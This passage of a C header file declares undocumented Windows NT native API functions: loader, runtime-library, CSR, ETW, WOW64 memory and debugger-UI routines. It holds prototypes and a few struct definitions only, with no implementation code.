PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwPrivilegeObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI ZwCloseObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwDeleteObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwPrivilegedServiceAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN PUNICODE_STRING ServiceName, IN HANDLE ClientToken, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI ZwContinue ( IN PCONTEXT ContextRecord, IN BOOLEAN TestAlert ); NTSTATUS NTAPI ZwRaiseException ( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ContextRecord, IN BOOLEAN FirstChance ); // end_zwapi ULONG DbgPrint( IN PCH Format, ... ); VOID NTAPI DebugService2 ( PVOID Arg1, PVOID Arg2, ULONG Service ); /* __inline LARGE_INTEGER NTAPI RtlLargeIntegerAdd ( LARGE_INTEGER Addend1, LARGE_INTEGER Addend2 ); __inline LARGE_INTEGER NTAPI RtlEnlargedIntegerMultiply ( LONG Multiplicand, LONG Multiplier ); __inline LARGE_INTEGER NTAPI RtlEnlargedUnsignedMultiply ( ULONG Multiplicand, ULONG Multiplier ); __inline ULONG NTAPI RtlEnlargedUnsignedDivide ( IN ULARGE_INTEGER Dividend, IN ULONG Divisor, IN PULONG Remainder OPTIONAL ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerNegate ( LARGE_INTEGER Subtrahend ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerSubtract ( LARGE_INTEGER Minuend, LARGE_INTEGER Subtrahend ); */ LARGE_INTEGER NTAPI RtlExtendedMagicDivide ( LARGE_INTEGER Dividend, LARGE_INTEGER MagicDivisor, CCHAR ShiftCount ); LARGE_INTEGER NTAPI RtlExtendedLargeIntegerDivide ( LARGE_INTEGER Dividend, ULONG Divisor, PULONG Remainder ); LARGE_INTEGER NTAPI RtlLargeIntegerDivide ( LARGE_INTEGER Dividend, LARGE_INTEGER Divisor, PLARGE_INTEGER Remainder ); LARGE_INTEGER NTAPI RtlExtendedIntegerMultiply ( LARGE_INTEGER Multiplicand, LONG Multiplier ); /* __inline LARGE_INTEGER NTAPI RtlConvertLongToLargeInteger ( LONG SignedInteger ); __inline LARGE_INTEGER NTAPI RtlConvertUlongToLargeInteger ( ULONG UnsignedInteger ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerShiftLeft ( LARGE_INTEGER LargeInteger, CCHAR ShiftCount ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerShiftRight ( LARGE_INTEGER LargeInteger, CCHAR ShiftCount ); __inline LARGE_INTEGER NTAPI RtlLargeIntegerArithmeticShift ( LARGE_INTEGER LargeInteger, CCHAR ShiftCount ); __inline BOOLEAN NTAPI RtlCheckBit ( PRTL_BITMAP BitMapHeader, ULONG BitPosition ); */ BOOLEAN NTAPI RtlIsValidOemCharacter ( _Inout_ PWCHAR Char ); PIMAGE_NT_HEADERS NTAPI RtlpImageNtHeader( PVOID Base ); RTL_PATH_TYPE RtlDetermineDosPathNameType_U( IN PCWSTR DosFileName ); PRTL_TRACE_DATABASE RtlTraceDatabaseCreate ( IN ULONG Buckets, IN SIZE_T MaximumSize OPTIONAL, IN ULONG Flags, // OPTIONAL in User mode IN ULONG Tag, // OPTIONAL in User mode IN RTL_TRACE_HASH_FUNCTION HashFunction OPTIONAL ); BOOLEAN RtlTraceDatabaseValidate ( IN PRTL_TRACE_DATABASE Database ); BOOLEAN RtlTraceDatabaseAdd ( IN PRTL_TRACE_DATABASE Database, IN ULONG Count, IN PVOID * Trace, OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL ); BOOLEAN RtlTraceDatabaseFind ( PRTL_TRACE_DATABASE Database, IN ULONG Count, IN PVOID * Trace, OUT PRTL_TRACE_BLOCK * TraceBlock OPTIONAL ); BOOLEAN RtlTraceDatabaseEnumerate ( PRTL_TRACE_DATABASE Database, OUT PRTL_TRACE_ENUMERATE Enumerate, OUT PRTL_TRACE_BLOCK * TraceBlock ); VOID RtlTraceDatabaseLock ( IN PRTL_TRACE_DATABASE Database ); VOID RtlTraceDatabaseUnlock ( IN PRTL_TRACE_DATABASE Database ); VOID RtlpGetStackLimits ( OUT PULONG_PTR LowLimit, OUT PULONG_PTR HighLimit ); NTSTATUS NTAPI RtlEnterCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI RtlLeaveCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); LOGICAL NTAPI RtlIsCriticalSectionLocked ( IN PRTL_CRITICAL_SECTION CriticalSection ); LOGICAL NTAPI RtlIsCriticalSectionLockedByThread ( IN PRTL_CRITICAL_SECTION CriticalSection ); ULONG NTAPI RtlGetCriticalSectionRecursionCount ( IN PRTL_CRITICAL_SECTION CriticalSection ); LOGICAL NTAPI RtlTryEnterCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI RtlInitializeCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); VOID NTAPI RtlEnableEarlyCriticalSectionEventCreation( VOID ); NTSTATUS NTAPI RtlInitializeCriticalSectionAndSpinCount( PRTL_CRITICAL_SECTION CriticalSection, ULONG SpinCount ); ULONG NTAPI RtlSetCriticalSectionSpinCount( PRTL_CRITICAL_SECTION CriticalSection, ULONG SpinCount ); NTSTATUS NTAPI RtlDeleteCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI LdrDisableThreadCalloutsForDll ( IN PVOID DllHandle ); NTSTATUS NTAPI LdrLoadDll( IN OPTIONAL PWSTR DllPath, IN OPTIONAL PULONG DllCharacteristics, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrUnloadDll( IN PVOID DllHandle ); NTSTATUS NTAPI LdrGetDllHandle( IN OPTIONAL PWSTR DllPath, IN OPTIONAL PULONG DllCharacteristics, IN PUNICODE_STRING DllName, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrGetDllHandleEx( IN ULONG Flags, IN OPTIONAL PCWSTR DllPath, IN OPTIONAL PULONG DllCharacteristics, IN PUNICODE_STRING DllName, OUT OPTIONAL PVOID *DllHandle ); NTSTATUS NTAPI LdrGetDllHandleByMapping( IN PVOID Base, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrGetDllHandleByName( IN OPTIONAL PUNICODE_STRING BaseDllName, IN OPTIONAL PUNICODE_STRING FullDllName, OUT PVOID *DllHandle ); NTSTATUS NTAPI LdrAddRefDll( IN ULONG Flags, IN PVOID DllHandle ); NTSTATUS NTAPI LdrGetProcedureAddress( IN PVOID DllHandle, IN OPTIONAL PANSI_STRING ProcedureName, IN OPTIONAL ULONG ProcedureNumber, OUT PVOID *ProcedureAddress ); NTSTATUS NTAPI LdrGetProcedureAddressEx( IN PVOID DllHandle, IN OPTIONAL PANSI_STRING ProcedureName, IN OPTIONAL ULONG ProcedureNumber, OUT PVOID *ProcedureAddress, IN ULONG Flags ); NTSTATUS NTAPI LdrLockLoaderLock( IN ULONG Flags, OUT OPTIONAL ULONG *Disposition, OUT PVOID *Cookie ); NTSTATUS NTAPI LdrRelocateImage( IN PVOID NewBase, IN PSTR LoaderName, IN NTSTATUS Success, IN NTSTATUS Conflict, IN NTSTATUS Invalid ); NTSTATUS NTAPI LdrRelocateImageWithBias( IN PVOID NewBase, IN LONGLONG Bias, IN PSTR LoaderName, IN NTSTATUS Success, IN NTSTATUS Conflict, IN NTSTATUS Invalid ); PIMAGE_BASE_RELOCATION NTAPI LdrProcessRelocationBlock( IN ULONG_PTR VA, IN ULONG SizeOfBlock, IN PUSHORT NextOffset, IN LONG_PTR Diff ); BOOLEAN NTAPI LdrVerifyMappedImageMatchesChecksum( IN PVOID BaseAddress, IN SIZE_T NumberOfBytes, IN ULONG FileLength ); NTSTATUS NTAPI LdrQueryModuleServiceTags( IN PVOID DllHandle, OUT PULONG ServiceTagBuffer, _Inout_ PULONG BufferSize ); NTSTATUS NTAPI LdrRegisterDllNotification( IN ULONG Flags, IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, IN PVOID Context, OUT PVOID *Cookie ); NTSTATUS NTAPI LdrUnregisterDllNotification( IN PVOID Cookie ); ULONG NTAPI CsrGetProcessId( ); void NTAPI A_SHAFinal( PSHA_CTX Context, PULONG Result ); PVOID NTAPI A_SHAUpdate( _Inout_ PSHA_CTX, IN PCHAR, IN UINT ); PVOID NTAPI A_SHAInit( _Inout_ PSHA_CTX, OUT PVOID ); BOOLEAN NTAPI RtlDosPathNameToNtPathName_U( IN PCWSTR DosFileName, OUT PUNICODE_STRING NtFileName, OUT PWSTR *FilePart OPTIONAL, PVOID Reserved ); NTSTATUS NTAPI RtlDosPathNameToNtPathName_U_WithStatus( IN PCWSTR DosFileName, OUT PUNICODE_STRING NtFileName, OUT PWSTR *FilePart OPTIONAL, PVOID Reserved // Must be NULL ); PVOID NTAPI RtlAddVectoredExceptionHandler ( IN ULONG First, IN PVECTORED_EXCEPTION_HANDLER Handler ); PVOID NTAPI RtlAddVectoredContinueHandler ( IN ULONG First, IN PVECTORED_EXCEPTION_HANDLER Handler ); NTSTATUS NTAPI RtlAnalyzeProfile ( VOID ); BOOLEAN NTAPI RtlCallVectoredContinueHandlers ( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ContextRecord ); PVOID RtlEncodePointer( PVOID Ptr ); PVOID RtlDecodePointer( PVOID Ptr ); PVOID RtlEncodeSystemPointer( PVOID Ptr ); PVOID RtlDecodeSystemPointer( PVOID Ptr ); VOID NTAPI RtlDeleteResource( PRTL_RESOURCE Resource ); NTSTATUS NTAPI RtlDeleteSecurityObject( PSECURITY_DESCRIPTOR * ObjectDescriptor ); BOOLEAN RtlDllShutdownInProgress( VOID ); ULONG NTAPI RtlGetCurrentProcessorNumber ( VOID ); #define RTL_UNLOAD_EVENT_TRACE_NUMBER 16 typedef struct _RTL_UNLOAD_EVENT_TRACE { PVOID BaseAddress; // Base address of dll SIZE_T SizeOfImage; // Size of image ULONG Sequence; // Sequence number for this event ULONG TimeDateStamp; // Time and date of image ULONG CheckSum; // Image checksum WCHAR ImageName[32]; // Image name } RTL_UNLOAD_EVENT_TRACE, *PRTL_UNLOAD_EVENT_TRACE; typedef struct _RTL_UNLOAD_EVENT_TRACE64 { ULONGLONG BaseAddress; // Base address of dll ULONGLONG SizeOfImage; // Size of image ULONG Sequence; // Sequence number for this event ULONG TimeDateStamp; // Time and date of image ULONG CheckSum; // Image checksum WCHAR ImageName[32]; // Image name } RTL_UNLOAD_EVENT_TRACE64, *PRTL_UNLOAD_EVENT_TRACE64; typedef struct _RTL_UNLOAD_EVENT_TRACE32 { ULONG BaseAddress; // Base address of dll ULONG SizeOfImage; // Size of image ULONG Sequence; // Sequence number for this event ULONG TimeDateStamp; // Time and date of image ULONG CheckSum; // Image checksum WCHAR ImageName[32]; // Image name } RTL_UNLOAD_EVENT_TRACE32, *PRTL_UNLOAD_EVENT_TRACE32; PRTL_UNLOAD_EVENT_TRACE NTAPI RtlGetUnloadEventTrace( VOID ); NTSTATUS NTAPI RtlInitializeProfile( BOOLEAN KernelToo ); typedef BOOLEAN (NTAPI * PRTL_IS_THREAD_WITHIN_LOADER_CALLOUT)( VOID ); BOOLEAN NTAPI RtlIsThreadWithinLoaderCallout ( VOID ); NTSTATUS NTAPI RtlSetLFHDebuggingInformation( PVOID LFHHeap, PHEAP_DEBUGGING_INFORMATION DebuggingInformation ); ULONG NTAPI RtlMultipleAllocateHeap ( IN PVOID HeapHandle, IN ULONG Flags, IN SIZE_T Size, IN ULONG Count, OUT PVOID * Array ); ULONG NTAPI RtlMultipleFreeHeap ( IN PVOID HeapHandle, IN ULONG Flags, IN ULONG Count, OUT PVOID * Array ); NTSTATUS NTAPI RtlNewSecurityObjectEx ( IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, OUT PSECURITY_DESCRIPTOR * NewDescriptor, IN GUID *ObjectType OPTIONAL, IN BOOLEAN IsDirectoryObject, IN ULONG AutoInheritFlags, IN HANDLE Token, IN PGENERIC_MAPPING GenericMapping ); NTSTATUS NTAPI RtlNewSecurityObjectWithMultipleInheritance ( IN PSECURITY_DESCRIPTOR ParentDescriptor OPTIONAL, IN PSECURITY_DESCRIPTOR CreatorDescriptor OPTIONAL, OUT PSECURITY_DESCRIPTOR * NewDescriptor, IN GUID **pObjectType OPTIONAL, IN ULONG GuidCount, IN BOOLEAN IsDirectoryObject, IN ULONG AutoInheritFlags, IN HANDLE Token, IN PGENERIC_MAPPING GenericMapping ); #if !defined(_WINDOWS_) NTSTATUS NTAPI RtlSetHeapInformation ( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, IN PVOID HeapInformation OPTIONAL, IN SIZE_T HeapInformationLength OPTIONAL ); NTSTATUS NTAPI RtlQueryHeapInformation ( IN PVOID HeapHandle, IN HEAP_INFORMATION_CLASS HeapInformationClass, OUT PVOID HeapInformation OPTIONAL, IN SIZE_T HeapInformationLength OPTIONAL, OUT PSIZE_T ReturnLength OPTIONAL ); #endif NTSTATUS NTAPI RtlQuerySecurityObject ( PSECURITY_DESCRIPTOR ObjectDescriptor, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR ResultantDescriptor, ULONG DescriptorLength, PULONG ReturnLength ); NTSTATUS NTAPI RtlRegisterWait( OUT PHANDLE WaitHandle, IN HANDLE Handle, IN WAITORTIMERCALLBACKFUNC Function, IN PVOID Context, IN ULONG Milliseconds, IN ULONG Flags ); ULONG NTAPI RtlRemoveVectoredContinueHandler ( IN PVOID Handle ); ULONG NTAPI RtlRemoveVectoredExceptionHandler ( IN PVOID Handle ); NTSTATUS NTAPI RtlSetIoCompletionCallback( IN HANDLE FileHandle, IN APC_CALLBACK_FUNCTION CompletionProc, IN ULONG Flags ); NTSTATUS NTAPI RtlSetSecurityObject( SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR ModificationDescriptor, PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, PGENERIC_MAPPING GenericMapping, HANDLE Token ); NTSTATUS NTAPI RtlSetSecurityObjectEx( IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR ModificationDescriptor, _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, IN ULONG AutoInheritFlags, IN PGENERIC_MAPPING GenericMapping, IN HANDLE Token OPTIONAL ); typedef ULONG (NTAPI RTLP_UNHANDLED_EXCEPTION_FILTER) ( struct _EXCEPTION_POINTERS *ExceptionInfo ); typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER; VOID RtlSetUnhandledExceptionFilter ( PRTLP_UNHANDLED_EXCEPTION_FILTER UnhandledExceptionFilter ); NTSTATUS NTAPI RtlStartProfile ( VOID ); NTSTATUS NTAPI RtlStopProfile ( VOID ); NTSTATUS RtlWow64EnableFsRedirection( IN BOOLEAN Wow64FsEnableRedirection ); NTSTATUS RtlWow64EnableFsRedirectionEx( IN PVOID Wow64FsEnableRedirection, OUT PVOID *OldFsRedirectionLevel ); NTSTATUS NTAPI RtlRegisterWait( OUT PHANDLE WaitHandle, IN HANDLE Handle, IN WAITORTIMERCALLBACKFUNC Function, IN PVOID Context, IN ULONG Milliseconds, IN ULONG Flags ); NTSTATUS NTAPI RtlDeregisterWait( IN HANDLE WaitHandle ); NTSTATUS NTAPI RtlDeregisterWaitEx( IN HANDLE WaitHandle, IN HANDLE Event ); #define RtlEqualMemory(Destination,Source,Length) (!memcmp((Destination),(Source),(Length))) #define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) #define RtlCopyMemory(Destination,Source,Length) memcpy((Destination),(Source),(Length)) #define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) #define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) NTSTATUS NTAPI RtlCopyMappedMemory ( PVOID pDest, CONST PVOID pSrc, SIZE_T bytesToCopy ); typedef VOID (*PKNORMAL_ROUTINE) (IN PVOID NormalContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2 ); VOID KiUserCallbackDispatcher( IN ULONG ApiNumber, IN PVOID InputBuffer, IN ULONG INputLength ); NTSTATUS NTAPI CsrClientConnectToServer( IN PWSTR ObjectDirectory, IN ULONG ServertDllIndex, IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, IN PVOID ConnectionInformation, _Inout_ PULONG ConnectionInformationLength OPTIONAL, OUT PBOOLEAN CalledFromServer OPTIONAL ); NTSTATUS NTAPI CsrClientCallServer( _Inout_ PCSR_API_MSG m, _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, IN CSR_API_NUMBER ApiNumber, IN ULONG ArgLength ); PCSR_CAPTURE_HEADER NTAPI CsrAllocateCaptureBuffer( IN ULONG CountMessagePointers, IN ULONG CountCapturePointers, IN ULONG Size ); VOID NTAPI CsrFreeCaptureBuffer( IN PCSR_CAPTURE_HEADER CaptureBuffer ); ULONG NTAPI CsrAllocateMessagePointer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN ULONG Length, OUT PVOID *Pointer ); VOID NTAPI CsrCaptureMessageBuffer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PVOID Buffer OPTIONAL, IN ULONG Length, OUT PVOID *CapturedBuffer ); VOID NTAPI CsrCaptureMessageString( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PCSTR String, IN ULONG Length, IN ULONG MaximumLength, OUT PSTRING CapturedString ); PLARGE_INTEGER NTAPI CsrCaptureTimeout( IN ULONG Milliseconds, OUT PLARGE_INTEGER Timeout ); VOID NTAPI CsrProbeForWrite( IN PVOID Address, IN ULONG Length, IN ULONG Alignment ); VOID NTAPI CsrProbeForRead( IN PVOID Address, IN ULONG Length, IN ULONG Alignment ); NTSTATUS NTAPI CsrNewThread( VOID ); NTSTATUS NTAPI CsrIdentifyAlertableThread( VOID ); NTSTATUS NTAPI CsrSetPriorityClass( IN HANDLE ProcessHandle, _Inout_ PULONG PriorityClass ); //added 20/03/2011 NTSTATUS NTAPI RtlCreateProcessReflection( IN HANDLE ProcessHandle, IN ULONG Flags, IN OPTIONAL PVOID StartRoutine, IN OPTIONAL PVOID StartContext, IN OPTIONAL HANDLE EventHandle, OUT OPTIONAL PRTL_PROCESS_REFLECTION_INFORMATION ReflectionInformation ); NTSTATUS NTAPI RtlCloneUserProcess( IN ULONG ProcessFlags, IN OPTIONAL PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, IN OPTIONAL PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, IN OPTIONAL HANDLE DebugPort, OUT PRTL_USER_PROCESS_INFORMATION ProcessInformation ); VOID NTAPI LdrShutdownProcess( ); NTSTATUS NTAPI RtlQueryProcessModuleInformation( IN HANDLE hProcess OPTIONAL, IN ULONG Flags, _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessBackTraceInformation( _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessHeapInformation( _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessLockInformation( _Inout_ PRTL_DEBUG_INFORMATION Buffer ); PRTL_DEBUG_INFORMATION NTAPI RtlCreateQueryDebugBuffer( IN ULONG MaximumCommit OPTIONAL, IN BOOLEAN UseEventPair ); NTSTATUS NTAPI RtlDestroyQueryDebugBuffer( IN PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessDebugInformation( IN HANDLE UniqueProcessId, IN ULONG Flags, _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlCreateTimer( IN HANDLE TimerQueueHandle, OUT HANDLE *Handle, IN WAITORTIMERCALLBACKFUNC Function, IN PVOID Context, IN ULONG DueTime, IN ULONG Period, IN ULONG Flags ); NTSTATUS NTAPI RtlCreateTimerQueue( PHANDLE TimerQueueHandle ); NTSTATUS NTAPI RtlUpdateTimer( IN HANDLE TimerQueueHandle, IN HANDLE TimerHandle, IN ULONG DueTime, IN ULONG Period ); NTSTATUS NTAPI RtlDeleteTimer( IN HANDLE TimerQueueHandle, IN HANDLE TimerToCancel, IN HANDLE Event ); NTSTATUS NTAPI RtlDeleteTimerQueue( IN HANDLE TimerQueueHandle ); NTSTATUS NTAPI RtlDeleteTimerQueueEx( IN HANDLE TimerQueueHandle, IN HANDLE Event ); BOOLEAN NTAPI RtlDoesFileExists_U( PCWSTR FileName ); ULONG RtlGetCurrentDirectory_U( ULONG nBufferLength, PWSTR lpBuffer ); NTSTATUS RtlSetCurrentDirectory_U( PUNICODE_STRING PathName ); ULONG RtlDosSearchPath_U( IN PWSTR lpPath, IN PWSTR lpFileName, IN PWSTR lpExtension OPTIONAL, IN ULONG nBufferLength, OUT PWSTR lpBuffer, OUT PWSTR *lpFilePart ); void NTAPI RtlInitString( PSTRING DestinationString, PCSZ SourceString ); ULONG NTAPI RtlGetFullPathName_U( IN PCWSTR lpFileName, IN ULONG nBufferLength, OUT PWSTR lpBuffer, OUT OPTIONAL PWSTR *lpFilePart ); LONG NTAPI RtlCompareString( const STRING * String1, const STRING * String2, BOOLEAN CaseInSensitive ); NTSTATUS NTAPI LdrRegisterDllNotification( IN ULONG Flags, IN PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, IN PVOID Context, OUT PVOID *Cookie ); NTSTATUS NTAPI LdrUnregisterDllNotification( IN PVOID Cookie ); ULONG NTAPI EtwRegisterSecurityProvider(); ULONG NTAPI EtwWriteUMSecurityEvent( PCEVENT_DESCRIPTOR EventDescriptor, USHORT EventProperty, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData); ULONG NTAPI EtwEventWriteEndScenario( REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData ); ULONG NTAPI EtwEventWriteFull( REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, USHORT EventProperty, LPCGUID ActivityId, LPCGUID RelatedActivityId, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData ); ULONG NTAPI EtwEventWriteStartScenario( REGHANDLE RegHandle, PCEVENT_DESCRIPTOR EventDescriptor, ULONG UserDataCount, PEVENT_DATA_DESCRIPTOR UserData ); // // old channel apis, from nt4 // NTSTATUS NTAPI NtCreateChannel ( OUT PHANDLE ChannelHandle, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL ); NTSTATUS NTAPI NtOpenChannel ( OUT PHANDLE ChannelHandle, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtListenChannel ( IN HANDLE ChannelHandle, OUT PCHANNEL_MESSAGE *Message ); NTSTATUS NTAPI NtSendWaitReplyChannel ( IN HANDLE ChannelHandle, IN PVOID Text, IN ULONG Length, OUT PCHANNEL_MESSAGE *Message ); NTSTATUS NTAPI NtReplyWaitSendChannel ( IN PVOID Text, IN ULONG Length, OUT PCHANNEL_MESSAGE *Message ); ULONG NTAPI AlpcUnregisterCompletionListWorkerThread( PVOID CompletionList ); void NTAPI RtlUpdateClonedCriticalSection( PRTL_CRITICAL_SECTION CriticalSection ); NTSTATUS NTAPI RtlGetFullPathName_UstrEx( PUNICODE_STRING FileName, PUNICODE_STRING StaticString, PUNICODE_STRING DynamicString, PPUNICODE_STRING StringUsed, PULONG FilePartPrefixCch, PUCHAR NameInvalid, PRTL_PATH_TYPE InputPathType, PULONG BytesRequired); int NTAPI LdrInitShimEngineDynamic( PVOID pShimEngineModule); NTSTATUS NTAPI NtCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, IN OPTIONAL PUNICODE_STRING Class, IN ULONG CreateOptions, OUT OPTIONAL PULONG Disposition ); NTSTATUS NTAPI NtSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN OPTIONAL ULONG TitleIndex, IN ULONG Type, IN OPTIONAL PVOID Data, IN ULONG DataSize ); NTSTATUS NTAPI NtDeleteFile ( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI RtlGetVersion( OUT PRTL_OSVERSIONINFOW lpVersionInformation ); NTSTATUS NTAPI ZwWow64QueryInformationProcess64( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwWow64QueryVirtualMemory64( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI ZwWow64ReadVirtualMemory64( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI ZwWow64WriteVirtualMemory64( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, IN CONST VOID *Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); void NTAPI ZwWow64GetCurrentProcessorNumberEx( OUT PPROCESSOR_NUMBER ProcNumber ); PCSR_CAPTURE_HEADER NTAPI ZwWow64CsrAllocateCaptureBuffer( IN ULONG CountMessagePointers, IN ULONG CountCapturePointers, IN ULONG Size ); ULONG NTAPI ZwWow64CsrAllocateMessagePointer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN ULONG Length, OUT PVOID *Pointer ); void NTAPI ZwWow64CsrCaptureMessageBuffer( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PVOID Buffer OPTIONAL, IN ULONG Length, OUT PVOID *CapturedBuffer ); void NTAPI ZwWow64CsrCaptureMessageString( _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PCSTR String, IN ULONG Length, IN ULONG MaximumLength, OUT PSTRING CapturedString ); NTSTATUS NTAPI ZwWow64CsrClientConnectToServer( IN PWSTR ObjectDirectory, IN ULONG ServerDllIndex, IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, IN PVOID ConnectionInformation, _Inout_ PULONG ConnectionInformationLength OPTIONAL, OUT PBOOLEAN CalledFromServer OPTIONAL ); void NTAPI ZwWow64CsrFreeCaptureBuffer( IN PCSR_CAPTURE_HEADER CaptureBuffer ); NTSTATUS NTAPI ZwWow64CsrIdentifyAlertableThread( void ); NTSTATUS NTAPI ZwWow64DebuggerCall ( IN ULONG ServiceClass, IN ULONG Arg1, IN ULONG Arg2 ); NTSTATUS NTAPI RtlCleanUpTEBLangLists( void ); VOID KiUserApcDispatcher ( PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2, PKNORMAL_ROUTINE NormalRoutine ); VOID KiUserExceptionDispatcher ( PEXCEPTION_RECORD ExceptionRecord, PCONTEXT ContextFrame ); NTSTATUS NTAPI NtCreateDebugObject( OUT PHANDLE DebugObjectHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); NTSTATUS NTAPI NtDebugActiveProcess( IN HANDLE ProcessHandle, IN HANDLE DebugObjectHandle ); NTSTATUS NTAPI NtDebugContinue( IN HANDLE DebugObjectHandle, IN PCLIENT_ID ClientId, IN NTSTATUS ContinueStatus ); NTSTATUS NTAPI NtRemoveProcessDebug( IN HANDLE ProcessHandle, IN HANDLE DebugObjectHandle ); NTSTATUS NTAPI NtSetInformationDebugObject( IN HANDLE DebugObjectHandle, IN DEBUGOBJECTINFOCLASS DebugObjectInformationClass, IN PVOID DebugInformation, IN ULONG DebugInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtWaitForDebugEvent( IN HANDLE DebugObjectHandle, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout, OUT PVOID WaitStateChange ); // Debugging UI NTSTATUS NTAPI DbgUiConnectToDbg( VOID ); HANDLE NTAPI DbgUiGetThreadDebugObject( VOID ); VOID NTAPI DbgUiSetThreadDebugObject( IN HANDLE DebugObject ); NTSTATUS NTAPI DbgUiWaitStateChange( OUT PDBGUI_WAIT_STATE_CHANGE StateChange, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI DbgUiContinue( IN PCLIENT_ID AppClientId, IN NTSTATUS ContinueStatus ); NTSTATUS NTAPI DbgUiStopDebugging( IN HANDLE Process ); NTSTATUS NTAPI DbgUiDebugActiveProcess( IN HANDLE Process ); VOID NTAPI DbgUiRemoteBreakin( IN PVOID Context ); NTSTATUS NTAPI DbgUiIssueRemoteBreakin( IN HANDLE Process ); VOID NTAPI RtlExitUserProcess( IN NTSTATUS ExitStatus ); NTSTATUS NTAPI RtlQueueWorkItem( IN WORKERCALLBACKFUNC CallbackFunction, IN OPTIONAL 